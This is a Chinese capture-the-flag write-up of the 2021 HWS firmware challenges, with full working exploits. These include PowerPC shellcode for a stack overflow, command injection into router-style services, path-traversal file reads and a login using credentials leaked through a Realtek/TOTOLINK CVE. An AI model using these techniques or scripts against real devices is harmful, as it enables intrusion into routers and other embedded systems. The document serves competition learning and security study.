2021HWS冬令营线上赛固件安全-WriteUp

百家 作者:Chamd5安全团队 2021-02-04 08:50:35

本篇文章由ChaMd5安全团队IOT小组投稿

去年去的HWS夏令营,这次有幸AK了入营赛的固件题,运气成分比较高,题也是比较多,差不多打了三个通宵,累是真的累,但从这次题目中又学到了新东西,这么多题是非常不想写wp,但为了总结这次比赛学到的东西,最后还是决定把它记录下来。


NodeMCU

签到题,直接binwalk解固件,冲进去cat就完事了

BlinkBlink

拿到固件之后直接先binwalk解固件

binwalk?-Me?uImage

解完之后猜了一手是httpd服务的命令执行,直接就find httpd了,但是并没有找到该服务,去靶机的login界面看看是不是默认密码,根据之前逆过tenda的固件和vigor 2960的固件来判断,这种路由器的密码都是从/etc/passwd里获取,于是直接搜索

grep?-ri?"etc/passwd"
Binary?file?bin/busybox?matches
Binary?file?bin/goahead?matches
Binary?file?lib/libuClibc-0.9.33.2.so?matches
Binary?file?lib/libshare-0.0.26.so?matches

找到了几个匹配的文件,busybox首先排除,另外两个libc肯定不是,因此直接定位到goahead文件,IDA直接搜字符串

        ascToUni(v18, v21, v14);
websSetIpaddr(v18);
websSetHost((int)v18);
websSetDefaultPage("login.asp");
websSetPassword("");
websOpenServer(80, 5);
websUrlHandlerDefine((int)"", 0, 0, (int)websSecurityHandler, 1);
websUrlHandlerDefine((int)"/goform", 0, 0, (int)websFormHandler, 0);
websUrlHandlerDefine((int)"/cgi-bin", 0, 0, (int)websCgiHandler, 0);
websUrlHandlerDefine((int)"", 0, 0, (int)websDefaultHandler, 2);
formDefineCGIjson();
websUrlHandlerDefine((int)"/", 0, 0, (int)sub_449374, 0);
if ( !*(_BYTE *)nvram_bufget(0, "Password") )
{
doSystem("echo 'admin:x:0:admin' > /etc/group");
doSystem("echo 'admin:TcigdJt3/FTaQ:0:0:Adminstrator:/:/bin/sh' >/etc/passwd");
doSystem("echo 'admin::0:0:Adminstrator:/:/bin/sh' > /etc/passwd-");
}

密码是加密后的可以去CMD5解密,我不想付费所以没解。

看到这段代码狂喜,这里基本上是跟tenda写的差不多,并且tenda的洞也是在goform接口下,进入formDefineCGIjson(),已经可以看到goform下的路径

??websFormDefine((int)"getWanInfo",?(int)sub_45D42C);
??websFormDefine((int)"get_wanset_info",?(int)sub_45D330);
??websFormDefine((int)"getLanInfo",?(int)sub_45C8B8);
??websFormDefine((int)"get_wifi_info",?(int)sub_45D1C0);
??websFormDefine((int)"get_5wifi_info",?(int)sub_45D050);
??websFormDefine((int)"get_wifi_switch",?(int)sub_45CF18);
??websFormDefine((int)"get_5wifi_switch",?(int)sub_45CDE0);
??websFormDefine((int)"set_wifi_switch",?(int)sub_45CC14);
??websFormDefine((int)"set_5wifi_switch",?(int)sub_45CA18);
??websFormDefine((int)"get_lan_info",?(int)sub_45C734);
??websFormDefine((int)"get_terminallist_info",?(int)sub_45C5E0);
??websFormDefine((int)"get_blacklist_info",?(int)sub_45C478);
??websFormDefine((int)"get_staticlist_info",?(int)sub_45C340);
??websFormDefine((int)"get_channelquality_info",?(int)sub_45C244);
??websFormDefine((int)"set_blacklist",?(int)sub_45BFAC);
??websFormDefine((int)"set_staticlist",?(int)sub_45BCCC);
??websFormDefine((int)"test_speed_info",?(int)sub_45BB6C);
??websFormDefine((int)"get_signal_info",?(int)sub_45BA34);
??websFormDefine((int)"get_signal5_info",?(int)sub_45B8FC);
??websFormDefine((int)"get_manpwd_info",?(int)sub_45B7C4);
??websFormDefine((int)"set_manpwd",?(int)sub_45B4C8);
??websFormDefine((int)"get_visiter_info",?(int)sub_45B390);
??websFormDefine((int)"set_visitor",?(int)sub_45B038);
??websFormDefine((int)"get_visitor5_info",?(int)sub_45AF00);
??websFormDefine((int)"set_visitor5_info",?(int)sub_45ABA8);
??websFormDefine((int)"get_version_info",?(int)sub_45AA10);
??websFormDefine((int)"upgrade_version",?(int)sub_45A894);
??websFormDefine((int)"set_bandwidth_check",?(int)sub_45A740);
??websFormDefine((int)"get_router_info",?(int)sub_45A5D0);
??websFormDefine((int)"set_WanEasy",?(int)sub_459FFC);
??websFormDefine((int)"set_EasyCfg",?(int)sub_45925C);
??websFormDefine((int)"set_refine_channel",?(int)sub_459124);
??websFormDefine((int)"set_Lanset",?(int)sub_458DF8);
??websFormDefine((int)"set_wifi",?(int)sub_4589E4);
??websFormDefine((int)"set_5wifi",?(int)sub_4586A0);
??websFormDefine((int)"set_channel",?(int)sub_458530);
??websFormDefine((int)"set_pamode",?(int)sub_45836C);
??websFormDefine((int)"set_pa5mode",?(int)sub_4581A8);
??websFormDefine((int)"set_restore",?(int)sub_45801C);
??websFormDefine((int)"set_reboot",?(int)sub_457EE4);
??websFormDefine((int)"get_plugins_cfg",?(int)sub_44DE84);
??websFormDefine((int)"set_hidessid_cfg",?(int)sub_44DC84);
??websFormDefine((int)"get_hidessid_cfg",?(int)sub_44DAD4);
??websFormDefine((int)"get_upnpport_cfg",?(int)sub_44D920);
??websFormDefine((int)"get_router_status",?(int)sub_44D798);
??websFormDefine((int)"get_mobile_fun_list",?(int)sub_44D610);
??websFormDefine((int)"set_cmd",?(int)sub_44D41C);
??websFormDefine((int)"get_led_status",?(int)sub_44D294);
??websFormDefine((int)"set_led_status",?(int)sub_44CF0C);
??websFormDefine((int)"get_dns_switch",?(int)sub_44CD84);
??websFormDefine((int)"set_dns_switch",?(int)sub_44CBE8);
??websFormDefine((int)"get_hw_nat",?(int)sub_44CA60);
??websFormDefine((int)"set_hw_nat",?(int)sub_44C8C4);

其中set_cmd名字起的就很让人关注

??char?*v2;?//?$s5
??int?v3;?//?$v0
??int?v4;?//?$s0
??int?v5;?//?$v0
??int?v6;?//?$s2
??char?v8[8200];?//?[sp+20h]?[-2008h]?BYREF

??v2?=?websGetVar(a1,?(int)"cmd",?"");
??bl_print(3,?"CGI_json.c",?"set_cmd",?3968,?"cmd?=?%s\n",?v2);
??v4?=?cJSON_CreateObject();
??v3?=?cJSON_CreateString("setcmd");
??cJSON_AddItemToObject(v4,?"type",?v3);
??v5?=?cJSON_CreateString(v2);
??cJSON_AddItemToObject(v4,?"cmd",?v5);
??v6?=?cJSON_PrintUnformatted(v4);
??memset(v8,?0,?8196);
??bs_SetCmd(v6,?v8);
??bl_print(3,?"CGI_json.c",?"set_cmd",?3976,?"back?=?%s\n",?v8);
??websResponse(a1,?200,?v8,?0);
??free(v6);
??return?cJSON_Delete(v4);

看了一下不是常规的dosystem命令执行,发现有一个bs_setcmd函数,这个函数是在libshare里,我们在打开libshare看一下(至于怎么搜到的,还是用grep -ri定位)

int?__fastcall?bs_SetCmd(const?char?*a1,?int?a2)
{
??int?v4;?//?$s1
??int?v5;?//?$s0
??int?v6;?//?$v0
??int?v7;?//?$v0
??int?v8;?//?$fp
??int?v9;?//?$v0
??int?v10;?//?$fp
??int?v11;?//?$v0
??int?v12;?//?$s2
??int?v13;?//?$fp
??int?v14;?//?$v0
??int?v15;?//?$v0
??int?v16;?//?$a0
??const?char?*v17;?//?$a1
??int?v18;?//?$s5
??char?v20[256];?//?[sp+20h]?[-1F00h]?BYREF
??char?v21[500];?//?[sp+120h]?[-1E00h]?BYREF
??char?v22[1024];?//?[sp+314h]?[-1C0Ch]?BYREF
??char?v23[6148];?//?[sp+714h]?[-180Ch]?BYREF
??int?v24;?//?[sp+1F18h]?[-8h]

??memset(v23,?0,?6144);
??memset(v22,?0,?sizeof(v22));
??memset(v21,?0,?sizeof(v21));
??memset(v20,?0,?sizeof(v20));
??v4?=?cJSON_Parse(a1);
??if?(?v4?)
??{
????bl_print(3,?"libshare.c",?"bs_SetCmd",?16411,?"in?==?%s\n",?a1);
????v5?=?cJSON_CreateObject();
????v6?=?cJSON_CreateString("setcmd");
????cJSON_AddItemToObject(v5,?"type",?v6);
????v7?=?cJSON_GetObjectItem(v4,?"type");
????if?(?v7?&&?(v8?=?*(_DWORD?*)(v7?+?16),?v24?=?strlen(v8),?v9?=?strlen("setcmd"),?v24?==?v9)?&&?!memcmp(v8,?"setcmd")?)
????{
??????v10?=?cJSON_GetObjectItem(v4,?"cmd");
??????if?(?!v10?)
??????{
????????bl_print(3,?"libshare.c",?"bs_SetCmd",?16423,?"command?execute?fail\n");
????????v11?=?cJSON_CreateNumber(0,?1072693248);
????????cJSON_AddItemToObject(v5,?"result",?v11);
????????v12?=?cJSON_PrintUnformatted(v5);
????????cJSON_Delete(v5);
????????cJSON_Delete(v4);
????????strcpy(a2,?v12);
????????free(v12);
????????return?0;
??????}
??????memset(v20,?0,?sizeof(v20));
??????strcpy(v20,?*(_DWORD?*)(v10?+?16));
??????sprintf(v22,?&off_4F2CC,?v20);
??????v13?=?popen(v22,?"r");

这里可以看到他传入两个参数对应v6和和v8,a1变成v4,v4变成v10,v10复制进了v20,V20拼接进v22,然后popen命令执行,虽说不清楚他自己封装的函数是干什么的,但是也可以大概猜到了这里就是我们需要的命令执行。


STM

binwalk之后会发现啥什么都看不出来,也解不出固件,但hint里给了STM32,因此搜了搜关于STM32的固件该如何解包时,发现了一篇文章https://www.angelic47.com/archives/97/按照这位师傅的方法,IDA成功识别固件。

进去逛了逛,发现sub_8000314()比较可疑

_BYTE?*sub_8000314()
{
??_DWORD?*v0;?//?r4
??unsigned?__int8?*v1;?//?r5
??int?v2;?//?r6
??char?v3;?//?t1

??v0?=?sub_80003F0(48);
??v1?=?(unsigned?__int8?*)&byte_8000344;
??v2?=?0;
??while?(?v2++?!=?0?)
??{
????v3?=?*v1++;
????*(_BYTE?*)v0?=?(v3?^?0x1E)?+?3;
????v0?=?(_DWORD?*)((char?*)v0?+?1);
????sub_8000124(v1);
??}
??return?v0;
}

将算法复原即可获得flag,V1是原数据,经过(v3 ^ 0x1E) + 3的处理给V0,在对其进行char类型转换,拼接起来就是flag,脚本如下:

v1?=?[0x7D,?0x77,?0x40,?0x7A,?0x66,?0x30,?0x2A,?0x2F,?0x28,?0x40,?0x7E,?0x30,?0x33,?0x34,?0x2C,?0x2E,?0x2B,?0x28,?0x34,?0x30,?0x30,?0x7C,?0x41,?0x34,?0x28,?0x33,?0x7E,?0x30,?0x7E,?0x2F,?0x31,?0x2A,?0x41,?0x7F,?0x2F,?0x28,?0x2E,?0x64]

flag_list?=?[]
for?i?in?range(len(v1)):
????flag?=?chr((v1[i]?^?0x1E)?+?3)
????flag_list.append(flag)
print("".join(flag_list))


PPPPPPC

这是一道powerpc架构的pwn,因为完全没接触过这个架构,做题之前搜了下资料,找到了这篇文章https://4f-kira.github.io/2019/06/09/powerpc/

寄存器

序号寄存器功能
1GPR0-GPR31(共32个寄存器)整数运算和寻址通用寄存器.在ABI规范中,GPR1用于堆栈指针,GPR3-GPR4用于函数返回值,GPR3-GPR10用于参数传递
2FPR0-FPR31(共32个寄存器)用于浮点运算。PPC32和PPC64的浮点数都是64位
3LR连接寄存器,记录转跳地址,常用于记录子程序返回的地址。
4CR条件寄存器。
5XER特殊寄存器,记录溢出和进位标志,作为CR的补充
6CTR计数器,用途相当于ECX
7FPSCR浮点状态寄存器,用于浮点运算类型的异常记录等,可设置浮点异常捕获掩码
root@iZ2ze7lesc0k6jujoawx4uZ:~/pwn/ppppc#?checksec?PPPPPPC?
[*]?'/root/pwn/ppppc/PPPPPPC'
????Arch:?????powerpc-32-big
????RELRO:????Partial?RELRO
????Stack:????No?canary?found
????NX:???????NX?disabled
????PIE:??????No?PIE?(0x10000000)
????RWX:??????Has?RWX?segments

保护没开,大端序,第一反应就是ret2shellcode,并且如果溢出的话报错信息还会返回此时寄存器的值

对于这道题来说,我们只需要认识LR寄存器作用就行了,因为LR寄存器是ret地址,我们只要成功控制LR,就能getshell

在IDA中我们看到了有关0x140大小的指令,因此我们试一下覆盖到lr的偏移具体是多少


bye~
root@iZ2ze7lesc0k6jujoawx4uZ:~/pwn/ppppc#?qemu-ppc-static?-L?./?./PPPPPPC?
Hello,?welcome?to?hws!
Tell?me?your?name:?AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA
bye~
Invalid?data?memory?access:?0x41254e40
NIP?41254e40???LR?41254e41?CTR?1000de00?XER?00000000?CPU#0
MSR?00006040?HID0?00000000??HF?00006000?idx?0
TB?00946717?4066119728694850
GPR00?0000000041254e41?00000000f6fff0d0?00000000100bb4d0?0000000000000000
GPR04?00000000100a01a7?0000000000000001?00000000100a01a7?0000000000000001
GPR08?00000000ffffffff?0000000000000000?0000000000000001?00000000f6fff0d0
GPR12?0000000000000000?00000000100a8de8?0000000000000000?0000000000000000
GPR16?0000000000000000?0000000000000000?0000000000000020?00000000100a0000
GPR20?00000000100a0ee0?00000000100a0ed8?00000000100a0000?0000000000500000
GPR24?0000000000000000?0000000010000138?00000000100a0ee0?0000000000000000
GPR28?0000000000000000?0000000010000f80?0000000010000e80?00000000254d4125
CR?24000222??[?E??G??-??-??-??E??E??E??]?????????????RES?ffffffff
FPR00?0000000000000000?0000000000000000?0000000000000000?0000000000000000
FPR04?0000000000000000?0000000000000000?0000000000000000?0000000000000000
FPR08?0000000000000000?0000000000000000?0000000000000000?0000000000000000
FPR12?0000000000000000?0000000000000000?0000000000000000?0000000000000000
FPR16?0000000000000000?0000000000000000?0000000000000000?0000000000000000
FPR20?0000000000000000?0000000000000000?0000000000000000?0000000000000000
FPR24?0000000000000000?0000000000000000?0000000000000000?0000000000000000
FPR28?0000000000000000?0000000000000000?0000000000000000?0000000000000000
FPSCR?00000000
qemu:?uncaught?target?signal?11?(Segmentation?fault)?-?core?dumped
Segmentation?fault
root@iZ2ze7lesc0k6jujoawx4uZ:~/pwn/ppppc#?

可以看到已经覆盖到了LR,那我们0x140-4再试一下

没什么毛病,偏移就是0x13c,我们如果断到0x10000470也有体现

下面就是寻找shellcode了,我们只需要在0x140的位置填入我们想要跳转的地址即可,并在跳转之前在该位置写好shellcode,那跳转之前的位置怎么确定呢?

我需要关注一下溢出之后的报错信息,他将R0-R31全给我们打印了出来,其中R11寄存器里的0xf6fff0e0比较醒目,并且没有其他长得跟栈地址差不多的地址了,因此根据我们的思路将其减去0x13c跳回写入shellcode的地方就完事了。(上面两个地址不一样是一个是直接起的进程,一个是-g放到端口上,以-g 启动的0xf6fff0e0为标准)

exp如下:

from?pwn?import?*
context.log_level?=?"debug"
context.arch?=?"powerpc"
context.endian?=?"big"
p?=?process(["qemu-ppc-static",?"-g",?"1233",?"-L",?"./"?,"./PPPPPPC"])
shellcode?=?"\x7c\x3f\x0b\x78"?#/*mr?r31,r1*/
shellcode?+="\x7c\xa5\x2a\x79"?#/*xor.?r5,r5,r5*/
shellcode?+="\x42\x40\xff\xf9"?#/*bdzl+?10000454<?main>*/
shellcode?+="\x7f\x08\x02\xa6"?#/*mflr?r24*/
shellcode?+="\x3b\x18\x01\x34"?#/*addi?r24,r24,308*/
shellcode?+="\x98\xb8\xfe\xfb"?#/*stb?r5,-261(r24)*/
shellcode?+="\x38\x78\xfe\xf4"?#/*addi?r3,r24,-268*/
shellcode?+="\x90\x61\xff\xf8"?#/*stw?r3,-8(r1)*/
shellcode?+="\x38\x81\xff\xf8"?#/*addi?r4,r1,-8*/
shellcode?+="\x90\xa1\xff\xfc"?#/*stw?r5,-4(r1)*/
shellcode?+="\x3b\xc0\x01\x60"?#/*li?r30,352*/
shellcode?+="\x7f\xc0\x2e\x70"?#/*srawi?r0,r30,5*/
shellcode?+="\x44\xde\xad\xf2"?#/*.long?0x44deadf2*/
shellcode?+="/bin/shZ"
payload?=?shellcode.ljust(0x13c,?'a')?+?p32(0xf6ffefa4)
p.recvuntil("Tell?me?your?name:?")
p.sendline(payload)
p.interactive()

httpd(西湖论剑babyboa改)

这题是西湖论剑babyboa改的,刚开始搜了一篇文章https://pup2y.github.io/2020/11/16/xi-hu-lun-jian-iot-chuang-guan-sai-babyboa/

原来是栈溢出的漏洞,但根据文章的对比,咱们可以明显发现有一个地方不太一样,原来的长这样

现在长这样

一对比可以明显发现多了个system调用,并且整个程序只有这里调用了system,那我们大概率也可以猜到就是命令执行了,上面的是通过源码里的结构体恢复了程序的一些逻辑,比如关键的a1就是referer,而referer字段就是命令执行的地方,让password等于http-server在进行base64加密,扔进auth字段即可。

恢复的过程是这样,我们通过下载源码http://www.boa.org/,找到里面的globals.h,导入IDA时会报错,在根据报错信息修修改改结构体,即可成功导入,导入完成之后,在对比源码会发现多了一个登录功能,在增加一个auth的结构体,即可修复完成,然后就能看见如上修复好的字段了

我们最后使用wget把flag读出来就可以了

easybios

下载下来之后先根据文件里面的提示启动,会发现里面有个getflag的功能,他会打印出你输入的内容,并且返回一个Wrong!

binwalk解包,解包的过程中会发现有一堆PE文件

但是因为binwalk不回给咱们切割,所以需要用winhex手动切割,我们通过wrong来定位PE文件的位置然后切割即可


看到wrong的位置之后,我们把他的位置跟binwalk给的信息对比找到上界和下界切割即可提取出我们想要的PE文件


进去之后alt+t搜字符串找到了wrong所在的函数,进行分析,我们可以看到他先判断了我们输入的数据是否时小写,然后做了个类型转换,在放进changehex里,这里注意,因为IDA的问题,changehex()其实是changehex(v16),这块需要看汇编,进入函数之后,可以看到他生成flag的算法,直接照抄复现即可

.text:0000000000031F46?????????????????inc?????rax
.text:0000000000031F49?????????????????cmp?????rax,?20h?;?'?'
.text:0000000000031F4D?????????????????jnz?????short?loc_31F29
.text:0000000000031F4F?????????????????lea?????rbx,?[rsp+0B8h+var_3C]
.text:0000000000031F54?????????????????mov?????edx,?20h?;?'?'
.text:0000000000031F59?????????????????mov?????r9d,?14h
.text:0000000000031F5F?????????????????mov?????rcx,?r12
.text:0000000000031F62?????????????????mov?????r8,?rbx
.text:0000000000031F65?????????????????mov?????rdi,?rbx
.text:0000000000031F68?????????????????call????strHexToBytes
.text:0000000000031F6D?????????????????call????changehex
.text:0000000000031F72?????????????????xor?????eax,?eax
.text:0000000000031F74?????????????????lea?????rdx,?qword_75C10

可以看到v0是从rdi来的

??__int64?v0;?//?rdi
??__int64?i;?//?rcx
??__int64?v2;?//?rcx
??int?v3;?//?edx
??int?v4;?//?er8
??int?v5;?//?er11
??__int64?v6;?//?rcx
??int?v7;?//?er10
??int?v8;?//?er11
??int?v9;?//?ebx
??__int64?v10;?//?r9
??int?v11;?//?edx
??__int64?result;?//?rax
??int?v13[514];?//?[rsp+0h]?[rbp-808h]

??for?(?i?=?0i64;?i?!=?256;?++i?)
??{
????v13[i]?=?i;
????v13[i?+?256]?=?(unsigned?__int8)aOvmfAndEasyBio[(int)i?%?18];
??}
??v2?=?0i64;
??v3?=?0;
??do
??{
????v4?=?v13[v2];
????v3?=?(v13[v2?+?256]?+?v4?+?v3)?%?256;
????v5?=?v13[v3];
????v13[v3]?=?v4;
????v13[v2++]?=?v5;
??}
??while?(?v2?!=?256?);
??v6?=?0i64;
??v7?=?0;
??LOBYTE(v8)?=?0;
??do
??{
????v8?=?(unsigned?__int8)(v8?+?1);
????v9?=?v13[v8];
????v10?=?(v9?+?v7)?%?256;
????v11?=?v13[v10];
????v13[v10]?=?v9;
????v7?=?(v9?+?v7)?%?256;
????v13[v8]?=?v11;
????result?=?(unsigned?int)v13[(v11?+?v13[v10])?%?256];
????*(_BYTE?*)(v0?+?v6++)?^=?result;
??}
??while?(?v6?!=?16?);
??return?result;
def?print_bytes_hex(data):
????lin?=?['%0x'?%?i?for?i?in?data]
????print("".join(lin))

magic?=?'OVMF_And_Easy_Bios'
demo?=?[0x46,?0x77,?0x74,?0xb0,?0x27,?0x8e,?0x8f,?0x5b,?0xe9,?0xd8,?0x46,?0x9c,?0x72,?0xe7,?0x2f,?0x5e]
v13?=?[0]*514
for?i?in?range(256):
????v13[i]?=?i
????v13[i+256]?=?ord(magic[i%18])


v2?=?0
v3?=?0
new_list?=?[]
while?v2!=256:
????v4?=?v13[v2]
????v3?=?(v13[v2?+?256]?+?v4?+?v3)?%?256
????v5?=?v13[v3]
????v13[v3]?=?v4
????v13[v2]?=?v5
????v2+=1

v6?=?0
v7?=?0
v8?=?0

while?v6?!=?16:
????v8?=?v8?+?1
????v9?=?v13[v8]
????v10?=?(v9?+?v7)?%?256
????v11?=?v13[v10]
????v13[v10]?=?v9
????v7?=?(v9?+?v7)?%?256
????v13[v8]?=?v11
????result?=?v13[(v11?+?v13[v10])?%?256]
????new_list.append(result)
????#(v0?+?v6)?^=?result
????v6?+=?1
#print?len(demo)
#print?len(new_list)
flag_list?=?[]
for?i?in?range(16):
????flag_list.append(new_list[i]^demo[i])
????print(hex(new_list[i]^demo[i]))

print_bytes_hex(flag_list)

#flag{88baec0b5154f859b5851097bb567f5c}

easymsg(原西湖论剑messagebox改)

这道题纯属运气好,因为知道是西湖论剑的题,先找了原来的exp去打,多打了几次直接通了,但跟原来的题是有区别的,最后也没去深究

from?pwn?import?*
import?zlib
context(log_level='debug',endian='big')
io?=?remote("183.129.189.60",10016)
payload?=?"readFile:"+"/"*0x100+"/flag"
crc?=?int(zlib.crc32(payload)&?0xffffffff)
io.send("HwsDDW"+p16(len(payload))+"\x01\x02"+p32(crc)+payload)
io.interactive()

赛后交流的过程中,队里另外的一个师傅G3n3rous通过命令注入的方式打通了地址在这里


个人感觉槽点超鸡多的一道题
arm架构,没给libc,ok, fine,自己apt装一个问题不大
逆向,逻辑挺清楚,一看就会,为了方便调试patch改了pthread和网卡名字
ifconfig指令获得MAC地址
readFile指令把config.dat弄过来,我感觉出题人应该是想弄个像路由器配置文件泄露一样,但这题没有任何背景,强行弄上去只会让人感到无厘头。
CVE-2019-19822, 找了个网站获得解密程序,https://sploit.tech/2019/12/16/Realtek-TOTOLINK.html,config.dat泄露出账号密码
登陆,命令注入执行即可
本来以为当前目录下就有flag,ls了一下发现flag是 /flagG1zjin
脚本如下

import?zlib
from?pwn?import?*
import?base64

class?Msg():
????def?__init__(self,?choice,?content,?ip,?port):
????????self.magic?=?'HwsDDW'
????????self.crc?=?self.cal_crc32(content)
????????self.msg_len?=?0x101
????????self.choice?=?choice
????????self.ip?=?ip
????????self.port?=?port
????????msg?=?self.magic
????????msg?+=?chr((self.msg_len?>>?8)?&?0xff)?+?chr(self.msg_len?&?0xff)
????????msg?+=?chr((self.choice?>>?8)?&?0xff)?+?chr(self.choice?&?0xff)
????????msg?+=?chr(self.crc?>>?24)?+?chr((self.crc?>>?16)?&?0xff)?+?chr((self.crc?>>?8)?&?0xff)?+?chr((self.crc)?&?0xff)
????????msg?+=?content
????????self.msg?=?msg
????def?cal_crc32(self,?s):
????????return?zlib.crc32(str(s))?&?0xffffffff
????def?send(self):
????????p?=?remote(self.ip,?self.port)
????????context.log_level?=?'debug'
????????p.send(self.msg)
????????ret?=?''
????????try:
????????????while?True:
????????????????tmp?=?p.recv(1024)
????????????????if?len(tmp)?==?0:
????????????????????break
????????????????ret?+=?tmp
????????except:
????????????pass
????????p.close()
????????return?ret
#?183.129.189.60?10016
#?/home/messageBox/messageBox
remote_ip?=?'183.129.189.60'
remote_port?=?10016
#?get?mac
info?=?base64.b64decode(Msg(0x102,?'ifconfig:'.ljust(0x101,?'\x00'),?remote_ip,?remote_port).send())
info?=?info[info.index('tap'):]
info?=?info[info.index('ether?')+6:info.index('ether?')+6+17]
print(info)
mac?=?''
for?i?in?range(len(info)):
????if?info[i]?!=?':':
????????mac?+=?str(info[i].upper())
print(mac)
#?get?config.dat
#?cmd?=?'readFile:./config.dat'
#?msg?=?Msg(0x102,?cmd.ljust(0x101,?'\x00'),?remote_ip,?remote_port)
#?data?=?base64.b64decode(msg.send())
#?with?open('config.dat',?'wb')?as?f:
#?????f.write(data)

#?login
msg?=?Msg(0x102,?'setSystemParam:user:admin\npassword:alexandr1s'.ljust(0x101,?'\x00'),?remote_ip,?remote_port)
msg.send()
#?leaveName
cmd?=?'leaveName:'+str(mac)+':a";echo?`cat?/flagG1zjin`?>?/tmp/out;echo?"Fuck'
print(Msg(0x102,?cmd.ljust(0x101,?'\x00'),?remote_ip,?remote_port).send())
#?read?flag
cmd?=?'readFile:/tmp/out'
msg?=?Msg(0x102,?cmd.ljust(0x101,?'\x00'),?remote_ip,?remote_port)
print(base64.b64decode(msg.send()))


end


招新小广告

ChaMd5?Venom?招收大佬入圈

新成立组IOT+工控+样本分析?长期招新

欢迎联系admin@chamd5.org



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接